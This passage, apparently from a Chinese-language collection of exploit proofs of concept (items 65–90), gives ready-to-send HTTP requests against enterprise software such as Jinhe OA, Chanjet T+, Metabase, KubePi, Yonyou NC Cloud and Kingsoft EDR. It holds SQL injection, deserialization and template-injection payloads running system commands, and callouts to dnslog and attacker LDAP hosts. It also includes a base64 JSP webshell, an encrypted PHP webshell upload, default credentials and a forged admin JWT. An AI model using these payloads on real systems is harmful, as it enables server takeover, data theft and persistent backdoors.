RECOR1DID=qLSGw4SXzLeGw4V3wUw3zUoXwid6
16
originalFileId=wV66
17
originalCreateDate=wUghPB3szB3Xwg66
18
FILENAME=qfTdqfTdqfTdVaxJeAJQBRl3dExQyYOdNAlfeaxsdGhiyYlTcATdN1liN4KXwiVGzfT2dEg6
19
needReadFile=yRWZdAS6
20
originalCreateDate=wLSGP4oEzLKAz4=iz=66
21

22
1

1
shell:http://xx.xx.xx.xx/1ndex.jsp

65、金和OA 未授权

1
漏洞链接
2
http://xx.xx.xx.xx/C6/Jhsoft.Web.users/GetTreeDate.aspx/?id=1
3

4
复现步骤
5
http://xx.xx.xx.xx/C6/Jhsoft.Web.users/GetTreeDate.aspx/?id=1%3bWAITFOR+DELAY+'0%3a0%3a5'+--%20and%201=1

66、Kuboard默认口令

1
漏洞描述：
2

3
Kuboard，是一款免费的 Kubernetes 图形化管理工具，Kuboard 力图帮助用户快速在 Kubernetes 上落地微服务。Kuboard存在默认口令可以通过默认口令登录Kuboard，管理Kubernetes。
4

5
admin/kuboard123

67、QAX-Vpn存在x遍历及任意账号密码修改漏洞

1
https://x.xxx.xxx.cn/admin/group/xgroupphp?id=1
2
https://x.xxx.xxx.cn/admin/group/xgroupphp?id=3 cookie: admin id=1; gw admin ticket=1;

68、有用畅捷通T+GetStoreWarehouseByStore RCE漏洞

1
POST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
2
Host: your-ip
3
X-Ajaxpro-Method: GetStoreWarehouseByStore
4

5
{
6
  "storeID":{
7
    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
8
  "MethodName":"Start",
9
  "ObjectInstance":{
10
    "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
11
    "StartInfo": {
12
      "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
13
      "FileName":"cmd", "Arguments":"/c 执行的命令"
14
    }
15
  }
16
}
17
}

1
使用ysoserial.net工具构造payload（攻击链：ObjectDataProvider）
2
./ysoserial.exe -f JavaScriptSerializer -g ObjectDataProvider -c "执行的命令"

1
将生成的序列化数据加载到PoC中（PS：需要将里面的单引号替换成双引号）

69、契约锁电子签章系统 RCE

1
POST /callback/%2E%2E;/code/upload HTTP/1.1
2
Host: ip:port
3
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
4
Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
5
Content-Type:multipart/form-data;
6

7
boundary=----GokVTLZMRxcJWKfeCvEsYHlszxEANApZseNMGLki
8
----GokVTLZMRxcJWKfeCvEsYHlszxEANApZseNMGLki
9
Content-Disposition: form-data; name="type";
10

11
TIMETASK
12
----GokVTLZMRxcJWKfeCvEsYHlszxEANApZseNMGLki
13
Content-Disposition: form-data; name="file"; filename="qys.jpg"
14

15
马儿
16

17
----GokVTLZMRxcJWKfeCvEsYHlszxEANApZseNMGLki

70、任我行 CRM SmsDataList SQL注入漏洞

1
POST /SMS/SmsDataList/?pageIndex=1&pageSize=30 HTTP/1.1
2
Host:
3
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.1361.63 Safari/537.36
4
Accept-Encoding: gzip, deflate
5
Accept: */*
6
Connection: close
7
Content-Type: application/x-www-form-urlencoded
8
Content-Length: 170
9

10
Keywords=&StartSendDate=2020-06-17&EndSendDate=2020-09-17&SenderTypeId=00000000*

71、深信服数据中心管理系统 XML 实体注入漏洞

1
GET /src/sangforindex HTTP/1.1
2
Host: ip:port
3
Upgrade-Insecure-Requests: 1
4
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, likeGecko)
5
Accept:
6
text/xml,application/xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
7
Content-Type: text/xml
8
Accept-Encoding: gzip, deflate, br
9
Accept-Language: zh-CN,zh;q=0.9
10
Connection: Keep-alive
11
Content-Length: 135
12
<?xml version="1.0" encoding="utf-8" ?><!DOCTYPE root [
13
<!ENTITY rootas SYSTEM "http://dnslog">
14
]>
15
<xxx>
16
&rootas;
17
</xxx>

72、明源云 ERP ApiUpdate.ashx 文件上传漏洞

1
POST /myunke/ApiUpdateTool/ApiUpdate.ashx?apiocode=a HTTP/1.1
2
Host: target.com
3
Accept-Encoding: gzip
4
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3)AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
5
Content-Length: 856
6

7
{{unquote("PK\x03\x04\x14\x00\x00\x00\x08\x00\xf2\x9a\x0bW\x97\xe9\x8br\x8c\x00\x00\x00\x93\x00\x00\x00\x1e\x00\x00\x00../../../fdccloud/_/check.aspx$\xcc\xcb\x0a\xc20\x14\x04\xd0_\x09\x91B\xbb\x09\x0a\xddH\xab\x29\x8aP\xf0QZ\xc4\xf5m\x18j!ib\x1e\x82\x7fo\xc4\xdd0g\x98:\xdb\xb1\x96F\xb03\xcdcLa\xc3\x0f\x0b\xce\xb2m\x9d\xa0\xd1\xd6\xb8\xc0\xae\xa4\xe1-\xc9d\xfd\xc7\x07h\xd1\xdc\xfe\x13\xd6%0\xb3\x87x\xb8\x28\xe7R\x96\xcbr5\xacyQ\x9d&\x05q\x84B\xea\x7b\xb87\x9c\xb8\x90m\x28<\xf3\x0e\xaf\x08\x1f\xc4\xdd\x28\xb1\x1f\xbcQ1\xe0\x07EQ\xa5\xdb/\x00\x00\x00\xff\xff\x03\x00PK\x01\x02\x14\x03\x14\x00\x00\x00\x08\x00\xf2\x9a\x0bW\x97\xe9\x8br\x8c\x00\x00\x00\x93\x00\x00\x00\x1e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00../../../fdccloud/_/check.aspxPK\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00L\x00\x00\x00\xc8\x00\x00\x00\x00\x00")}}

73、泛微 HrmCareerApplyPerView S Q L 注入漏洞

1
GET /pweb/careerapply/HrmCareerApplyPerView.jsp?id=1%20union%20select%201,2,sys.fn_sqlvarbasetostr(db_name()),db_name(1),5,6,7 HTTP/1.1
2
Host: 127.0.0.1:7443
3
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML,like Gecko)
4
Accept-Encoding: gzip, deflate
5
Connection: close

74、Metabase validate 远程命令执行漏洞（CVE-2023-38646）

1
漏洞描述
2
Metabase是一个开源的数据分析和可视化工具，它可以帮助用户轻松连接到各种数据源，包括数据库、云服务和API，然后使用绘图的界面进行数据查询、分析和可视化。需身份认证的远程攻击者利用该漏洞可以在服务器上以运行元数据库服务器的权限执行任意命令
3

4
工具链接
5
https://github.com/robotmikhro/CVE-2023-38646
6

7
漏洞影响
8
元数据库
9

10
网络测绘
11
应用程序=“元数据库”

1
漏洞复现
2
登录页面

1
POC
2
/api/session/properties

1
POST /api/setup/validate HTTP/1.1
2
Host:
3
Content-Type: application/json
4
Content-Length: 812
5

6
{
7
    "token": "e56e2c0f-71bf-4e15-9879-d964f319be69",
8
    "details":
9
    {
10
        "is_on_demand": false,
11
        "is_full_sync": false,
12
        "is_sample": false,
13
        "cache_ttl": null,
14
        "refingerprint": false,
15
        "auto_run_queries": true,
16
        "schedules":
17
        {},
18
        "details":
19
        {
20
            "db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('curl ecw14d.dnslog.cn')\n$$--=x",
21
            "advanced-options": false,
22
            "ssl": true
23
        },
24
        "name": "an-sec-research-team",
25
        "engine": "h2"
26
    }
27
}

75、KubePi JwtSigKey 登陆绕过漏洞（CVE-2023-22463）

1
漏洞描述
2
KubePi 中存在 JWT 硬编码，攻击者通过硬编码可以获取服务器后台管理权限，添加任意用户
3

4
漏洞影响
5
库贝派
6

7
网络测绘
8
“库贝皮”

1
漏洞复现
2
登陆页面

1
POST /kubepi/api/v1/users HTTP/1.1
2
Host: {{Hostname}}
3
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.127 Safari/537.36
4
accept: application/json
5
Accept-Encoding: gzip, deflate
6
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiYWRtaW4iLCJuaWNrTmFtZSI6IkFkbWluaXN0cmF0b3IiLCJlbWFpbCI6InN1cHBvcnRAZml0MmNsb3VkLmNvbSIsImxhbmd1YWdlIjoiemgtQ04iLCJyZXNvdXJjZVBlcm1pc3Npb25zIjp7fSwiaXNBZG1pbmlzdHJhdG9yIjp0cnVlLCJtZmEiOnsiZW5hYmxlIjpmYWxzZSwic2VjcmV0IjoiIiwiYXBwcm92ZWQiOmZhbHNlfX0.XxQmyfq_7jyeYvrjqsOZ4BB4GoSkfLO2NvbKCEQjld8
7

8
{
9
  "authenticate": {
10
       "password": "{{randstr}}"
11
  },
12
  "email": "{{randstr}}@qq.com",
13
  "isAdmin": true,
14
  "mfa": {
15
          "enable": false
16
   },
17
  "name": "{{randstr}}",
18
  "nickName": "{{randstr}}",
19
  "roles": [
20
       "Supper User"
21
  ]
22
}

76、禅道 16.5 router.class.php SQL注入漏洞

1
POST /user-login.html
2

3
account=admin%27+and+%28select+extractvalue%281%2Cconcat%280x7e%2C%28select+user%28%29%29%2C0x7e%29%29%29%23

77、金山EDR RCE漏洞

1
开启⽇志 /Console/inter/handler/change_white_list_cmd.php id参数

1
POST /inter/ajax.php?cmd=get_user_login_cmd HTTP/1.1
2
Host: 192.168.24.3:6868
3
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101
4
Firefox/114.0
5
Accept: */*
6
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
7
Accept-Encoding: gzip, deflate
8
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
9
X-Requested-With: XMLHttpRequest
10
Content-Length: 131
11
Origin: http://192.168.24.3:6868
12
Connection: close
13
Referer: http://192.168.24.3:6868/settings/system/user.php?m1=7&m2=0
14

15
{"change_white_list_cmd":{"ip":"{BD435CCE-3F91EC}","name":"3AF264D9-
16
AE5A","id":"111;set//global//general_log=on;","type":"0"}}

设置日志php文件

1
POST /inter/ajax.php?cmd=get_user_login_cmd HTTP/1.1
2
Host: 192.168.24.3:6868
3
Content-Length: 195
4
Accept: */*
5
X-Requested-With: XMLHttpRequest
6
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML,
7
like Gecko) Chrome/114.0.0.0 Safari/537.36
8
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
9
Origin: http://192.168.24.3:6868
10
Referer: http://192.168.24.3:6868/
11
Accept-Encoding: gzip, deflate
12
Accept-Language: zh-CN,zh;q=0.9
13
Cookie: SKYLARa0aedxe9e785feabxae789c6e03d=tf2xbucirlmkuqsxpg4bqaq0snb7
14
Connection: close
15

16
{"change_white_list_cmd":{"ip":"{BD435CCE-3F91EC}","name":"3AF264D9-
17
AE5A","id":"111;set//global//general_log_file=0x2e2e2f2e2e2f436f6e736f6c652f6368656
18
36b5f6c6f67696e322e706870;","type":"0"}}

写入php代码

1
POST /inter/ajax.php?cmd=settings_distribute_cmd HTTP/1.1
2
Host: 192.168.24.3:6868
3
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101
4
Firefox/114.0
5
Accept: */*
6
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
7
Accept-Encoding: gzip, deflate
8
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
9
X-Requested-With: XMLHttpRequest
10
Content-Length: 222
11
Origin: http://192.168.24.3:6868
12
Connection: close
13
Referer: http://192.168.24.3:6868/index.php
14
{"settings_distribute_cmd":{"userSession":"{BD435CCE-3F91-E1AA-3844-
15
76A49EE862EB}","mode_id":"3AF264D9-AE5A-86F0-6882-DD7F56827017","settings":"3AF264D9-
16
AE5A-86F0-6882-DD7F56827017_0","SC_list":{"a":"<?php phpinfo();?>"}}}

最后get请求rce：

1
http://192.168.24.3:6868/check_login2.php

78、Panabit iXCache网关RCE漏洞CVE-2023-38646

1
POST /cgi-bin/Maintain/date_config HTTP/1.1
2
Host: 127.0.0.1:8443
3
Cookie: pauser_9667402_260=paonline_admin_44432_9663; pauser_9661348_661=paonline_admin_61912_96631
4
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
5
Content-Type: application/x-www-form-urlencoded
6
Content-Length: 107
7

8
ntpserver=0.0.0.0%3Bwhoami&year=2000&month=08&day=15&hour=11&minute=34&second=53&ifname=fxp1

79、金和OA C6-GetSqIData.aspx SQL注入漏洞

1
POST /C6/Control/GetSqlData.aspx/.ashx
2
Host: ip:port
3
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2117.157 Safari/537.36
4
Connection: close
5
Content-Length: 189
6
Content-Type: text/plain
7
Accept-Encoding: gzip
8

9
exec master..xp_cmdshell 'ipconfig'

80、致远OA任意管理员登录

1
POST /seeyon/thirdpartyController.do HTTP/1.1
2

3
method=access&enc=TT5uZnR0YmhmL21qb2wvZXBkL2dwbWVmcy9wcWZvJ04%2BLjgzODQxNDMxMjQzNDU4NTkyNzknVT4zNjk0NzI5NDo3MjU4&clientPath=127.0.0.1

81、用友nc-cloudRCE

1
NC63、NC633、NC65
2
NC Cloud1903、NC Cloud1909
3
NC Cloud2005、NC Cloud2105、NC Cloud2111
4
YonBIP高级版2207
5

6
先发送数据包，返回200

1
POST /uapjs/jsinvoke/?action=invoke HTTP/1.1
2
Host: 127.0.0.1:8080
3
Cache-Control: max-age=0
4
Upgrade-Insecure-Requests: 1
5
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
6
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
7
Accept-Encoding: gzip, deflate
8
Accept-Language: zh-CN,zh;q=0.9
9
Cookie: cookiets=168170496; JSESSIONID=33A343770FF.server
10
If-None-Match: W/"1571-1589211696000"
11
If-Modified-Since: Mon, 11 May 2020 15:41:36 GMT
12
Connection: close
13
Content-Type: application/x-www-form-urlencoded
14
Content-Length: 249
15

16
{"serviceName":"nc.itf.iufo.IBaseSPService","methodName":"saveXStreamConfig","parameterTypes":["java.lang.Object","java.lang.String"],"parameters":["${param.getClass().forName(param.error).newInstance().eval(param.cmd)}","webapps/nc_web/404.jsp"]}

再发送数据包执行命令，返回命令执行结果

1
POST /404.jsp?error=bsh.Interpreter HTTP/1.1
2
Host: 127.0.0.1:8080
3
Cache-Control: max-age=0
4
Upgrade-Insecure-Requests: 1
5
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
6
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
7
Accept-Encoding: gzip, deflate
8
Accept-Language: zh-CN,zh;q=0.9
9
Cookie: cookiets=1681785232226; JSESSIONID=334D3ED07A343770FF.server
10
If-None-Match: W/"1571-1589211696000"
11
If-Modified-Since: Mon, 11 May 2020 15:41:36 GMT
12
Connection: close
13
Content-Type: application/x-www-form-urlencoded
14
Content-Length: 104
15

16
cmd=org.apache.commons.io.IOUtils.toString(Runtime.getRuntime().exec("ping 8.8.8.8").getInputStream())

82、用友 NC Cloud jsinvoke 任意文件上传漏洞

1
用友 NC Cloud jsinvoke 接口存在任意文件上传漏洞，攻击者通过漏洞可以上传任意文件至服务器中，获取系统权限
2

3
app="用友-NC-Cloud"

1
POST /uapjs/jsinvoke/?action=invoke
2
Content-Type: application/json
3

4
{
5
  "serviceName": "nc.itf.iufo.IBaseSPService",
6
  "methodName": "saveXStreamConfig",
7
  "parameterTypes": [
8
    "java.lang.Object",
9
    "java.lang.String"
10
  ],
11
  "parameters": [
12
    "${param.getClass().forName(param.error).newInstance().eval(param.cmd)}",
13
    "webapps/nc_web/407.jsp"
14
  ]
15
}

1
POST /uapjs/jsinvoke/?action=invoke HTTP/1.1
2
Host:
3
Connection: Keep-Alive
4
Content-Length: 253
5
Content-Type: application/x-www-form-urlencoded
6

7
{
8
  "serviceName": "nc.itf.iufo.IBaseSPService",
9
  "methodName": "saveXStreamConfig",
10
  "parameterTypes": [
11
    "java.lang.Object",
12
    "java.lang.String"
13
  ],
14
  "parameters": [
15
    "${''.getClass().forName('javax.naming.InitialContext').newInstance().lookup('ldap://VPSip:1389/TomcatBypass/TomcatEcho')}",
16
    "webapps/nc_web/301.jsp"
17
  ]
18
}

83、亿赛通 /UploadFileFromClientServiceForClient 任意文件上传漏洞

1
漏洞描述:亿赛通电子文档安全管理系统（简称：CDG）是一款电子文档安全防护软件。亿赛通电子文档安全管理系统任意文件上传
2
漏洞危害:攻击者可以上传恶意文件，获得服务器权限
3
修复方法
4
官网已发布安全修复版本，请升级至官网最新版本
5
https://www.esafenet.com/

84、Jeecg-Boot Freemarker 模版注入漏洞

1
漏洞危害
2

3
1、如果被攻击者利用，可直接getshell； 2、如果被攻击者利用，可被用于内网信息收集，扫描目标内网主机； 3、如果被攻击者利用，可攻击运行在内网或本地的应用程序； 4、如果被攻击者利用，可被用作攻击跳板；
4

5
修复方法
6

7
Jeecg官方暂未修复该漏洞，无法通过升级JeecgBoot版本修复该漏洞，建议： 1、临时禁用Freemarker高危的代码执行类，如：freemarker.template.utility.Execute（ftl利用方式较多，请自行判断）

1
POST /jeecg-boot/jmreport/qurestSql HTTP/1.1
2
Host: xxx.com
3
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2088.112 Safari/537.36
4
Accept-Encoding: gzip, deflate
5
Accept: /
6
Connection: close
7
Content-Type: application/json;charset=UTF-8
8
Content-Length: 129
9

10
{"apiSelectId":"1290104038414721025",
11
"id":"1"}

85、远秋医学技能考试系统SQL注入

1
sqlmap -u "http://xxx.xxx.xxx.xxx/NewsDetailPage.aspx?key=news&id=7" -p id -batch

86、新开普智慧校园系统代码执行漏洞

1
漏洞详情
2
新开普智慧校园系统/service_transport/service.action接口处存在FreeMarker模板注入，攻击者可在未经身份认证的情况下，调用后台接口，构造恶意代码实现远程代码执行，最终可造成服务器失陷。
3
路径存在则漏洞存在
4
http://xxx.com/service_transport/service.action

poc没回显

1
POST /service_transport/service.action HTTP/1.1
2
Host: your-ip
3
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
4
Accept-Encoding: gzip, deflate
5
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6
Cookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
7
Upgrade-Insecure-Requests: 1
8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
9

10
{
11
        "command": "GetFZinfo",
12
        "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"?new()>${ex(\"cmd /c ping v0u26h.ceye.io\")}"
13
}

写文件

1
POST /service_transport/service.action HTTP/1.1
2
Host: your-ip
3
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
4
Accept-Encoding: gzip, deflate
5
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6
Cookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
7
Upgrade-Insecure-Requests: 1
8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
9

10
{
11
        "command": "GetFZinfo",
12
        "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"?new()>${ex(\"cmd /c echo PCUhCiAgICBjbGFzcyBVIGV4dGVuZHMgQ2xhc3NMb2FkZXIgewogICAgICAgIFUoQ2xhc3NMb2FkZXIgYykgewogICAgICAgICAgICBzdXBlcihjKTsKICAgICAgICB9CiAgICAgICAgcHVibGljIENsYXNzIGcoYnl0ZVtdIGIpIHsKICAgICAgICAgICAgcmV0dXJuIHN1cGVyLmRlZmluZUNsYXNzKGIsIDAsIGIubGVuZ3RoKTsKICAgICAgICB9CiAgICB9CiAKICAgIHB1YmxpYyBieXRlW10gYmFzZTY0RGVjb2RlKFN0cmluZyBzdHIpIHRocm93cyBFeGNlcHRpb24gewogICAgICAgIHRyeSB7CiAgICAgICAgICAgIENsYXNzIGNsYXp6ID0gQ2xhc3MuZm9yTmFtZSgic3VuLm1pc2MuQkFTRTY0RGVjb2RlciIpOwogICAgICAgICAgICByZXR1cm4gKGJ5dGVbXSkgY2xhenouZ2V0TWV0aG9kKCJkZWNvZGVCdWZmZXIiLCBTdHJpbmcuY2xhc3MpLmludm9rZShjbGF6ei5uZXdJbnN0YW5jZSgpLCBzdHIpOwogICAgICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiBlKSB7CiAgICAgICAgICAgIENsYXNzIGNsYXp6ID0gQ2xhc3MuZm9yTmFtZSgiamF2YS51dGlsLkJhc2U2NCIpOwogICAgICAgICAgICBPYmplY3QgZGVjb2RlciA9IGNsYXp6LmdldE1ldGhvZCgiZ2V0RGVjb2RlciIpLmludm9rZShudWxsKTsKICAgICAgICAgICAgcmV0dXJuIChieXRlW10pIGRlY29kZXIuZ2V0Q2xhc3MoKS5nZXRNZXRob2QoImRlY29kZSIsIFN0cmluZy5jbGFzcykuaW52b2tlKGRlY29kZXIsIHN0cik7CiAgICAgICAgfQogICAgfQolPgo8JQogICAgU3RyaW5nIGNscyA9IHJlcXVlc3QuZ2V0UGFyYW1ldGVyKCJwYXNzd2QiKTsKICAgIGlmIChjbHMgIT0gbnVsbCkgewogICAgICAgIG5ldyBVKHRoaXMuZ2V0Q2xhc3MoKS5nZXRDbGFzc0xvYWRlcigpKS5nKGJhc2U2NERlY29kZShjbHMpKS5uZXdJbnN0YW5jZSgpLmVxdWFscyhwYWdlQ29udGV4dCk7CiAgICB9CiU+ >./webapps/ROOT/1.txt\")}"
13
}

文件转换为jsp

1
POST /service_transport/service.action HTTP/1.1
2
Host: your-ip
3
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
4
Accept-Encoding: gzip, deflate
5
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6
Cookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
7
Upgrade-Insecure-Requests: 1
8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
9

10
{
11
        "command": "GetFZinfo",
12
        "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"?new()>${ex(\"cmd /c certutil -decode ./webapps/ROOT/1.txt ./webapps/ROOT/1.jsp\")}"
13
}

87、拓尔思 MAS 任意文件上传漏洞

POC待补充

88、金山终端安全系统V9任意文件上传漏洞

1
POST /inter/software_relation.php HTTP/1.1
2
Host: 192.168.249.137:6868
3
Content-Length: 1557
4
Pragma: no-cache
5
Cache-Control: no-cache
6
Upgrade-Insecure-Requests: 1
7
Origin: http://192.168.249.137:6868
8
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxRP5VjBKdqBrCixM
9
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
10
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.82 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
11
Accept-Encoding: gzip, deflate
12
Accept-Language: zh-CN,zh;q=0.9
13
Connection: close
14

15
------WebKitFormBoundaryxRP5VjBKdqBrCixM
16
Content-Disposition: form-data; name="toolFileName"
17

18
../../datav.php
19
------WebKitFormBoundaryxRP5VjBKdqBrCixM
20
Content-Disposition: form-data; name="toolDescri"
21

22
------WebKitFormBoundaryxRP5VjBKdqBrCixM
23
Content-Disposition: form-data; name="id"
24

25
------WebKitFormBoundaryxRP5VjBKdqBrCixM
26
Content-Disposition: form-data; name="version"
27

28
------WebKitFormBoundaryxRP5VjBKdqBrCixM
29
Content-Disposition: form-data; name="sofe_typeof"
30

31
------WebKitFormBoundaryxRP5VjBKdqBrCixM
32
Content-Disposition: form-data; name="fileSize"
33

34
------WebKitFormBoundaryxRP5VjBKdqBrCixM
35
Content-Disposition: form-data; name="param"
36

37
------WebKitFormBoundaryxRP5VjBKdqBrCixM
38
Content-Disposition: form-data; name="toolName"
39

40
------WebKitFormBoundaryxRP5VjBKdqBrCixM
41
Content-Disposition: form-data; name="toolImage"; filename="3.php"
42
Content-Type: image/png
43

44
<?php @error_reporting(0); session_start(); $key="e45e329feb5d925b"; //rebeyond $_SESSION['k']=$key; session_write_close(); $post=file_get_contents("php://input"); if(!extension_loaded('openssl')) { $t="base64_"."decode"; $post=$t($post.""); for($i=0;$i<strlen($post);$i++) { $post[$i] = $post[$i]^$key[$i+1&15]; } } else { $post=openssl_decrypt($post, "AES128", $key); } $arr=explode('|',$post); $func=$arr[0]; $params=$arr[1]; class C{public function __invoke($p) {eval($p."");}} @call_user_func(new C(),$params); ?>
45
------WebKitFormBoundaryxRP5VjBKdqBrCixM

89、Eramba任意代码执行漏洞

0x01 漏洞详情

CVE-2023-36255

**漏洞类型：**远程代码执行

**影响：**接管服务器

**简述：**Eramba存在远程代码执行漏洞，允许经过身份验证的用户执行任意代码。

0x02 影响版本

Enterprise and Community edition <= 3.19.1

1
GET /settings/download-test-pdf?path=ip%20a; HTTP/1.1
2
Host: [redacted]
3
Cookie: translation=1; csrfToken=1l2rXXwj1D1hVyVRH%2B1g%2BzIzYTA3OGFiNWRjZWVmODQ1OTU1NWEyODM2MzIwZTZkZTVlNmU1YjY%3D; PHPSESSID=14j6sfroe6t2g1mh71g2a1vjg8
4
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/111.0
5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
6
Accept-Language: de,en-US;q=0.7,en;q=0.3
7
Accept-Encoding: gzip, deflate
8
Referer: https://[redacted]/settings
9
Upgrade-Insecure-Requests: 1
10
Sec-Fetch-Dest: document
11
Sec-Fetch-Mode: navigate
12
Sec-Fetch-Site: same-origin
13
Sec-Fetch-User: ?1
14
Te: trailers
15
Connection: close

1
HTTP/1.1 500 Internal Server Error
2
Date: Fri, 31 Mar 2023 12:37:55 GMT
3
Server: Apache/2.4.41 (Ubuntu)
4
Access-Control-Allow-Origin: *
5
Expires: Thu, 19 Nov 1981 08:52:00 GMT
6
Cache-Control: no-store, no-cache, must-revalidate
7
Pragma: no-cache
8
Content-Disposition: attachment; filename="test.pdf"
9
X-DEBUGKIT-ID: d383f6d4-6680-4db0-b574-fe789abc1718
10
Connection: close
11
Content-Type: text/html; charset=UTF-8
12
Content-Length: 2033469
13

14
<!DOCTYPE html>
15
<html>
16
<head>
17
<meta charset="utf-8"/> <meta name="viewport" content="width=device-width, initial-scale=1.0">
18
<title>
19
Error: The exit status code '127' says something went wrong:
20
stderr: &quot;sh: 1: --dpi: not found
21
&quot;
22
stdout: &quot;1: lo: &lt;LOOPBACK,UP,LOWER_UP&gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
23
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
24
    inet 127.0.0.1/8 scope host lo
25
       valid_lft forever preferred_lft forever
26
    inet6 ::1/128 scope host
27
       valid_lft forever preferred_lft forever
28
2: ens33: &lt;BROADCAST,MULTICAST,UP,LOWER_UP&gt; mtu 1500 qdisc fq_codel state UP group default qlen 1000
29
    link/ether [redacted] brd ff:ff:ff:ff:ff:ff
30
    inet [redacted] brd [redacted] scope global ens33
31
       valid_lft forever preferred_lft forever
32
    inet6 [redacted] scope link
33
       valid_lft forever preferred_lft forever
34
&quot;
35
command: ip a; --dpi '90' --lowquality --margin-bottom '0' --margin-left '0'
36
--margin-right '0' --margin-top '0' --orientation 'Landscape'
37
--javascript-delay '1000' '/tmp/knp_snappy6426d4231040e1.91046751.html'
38
'/tmp/knp_snappy6426d423104587.46971034.pdf'. </title>
39

40
[...]

90、Adobe ColdFusion 反序列化漏洞CVE-2023-29300

1
POST /CFIDE/adminapi/base.cfc?method= HTTP/1.1
2
Host: 1.2.3.4:1234
3
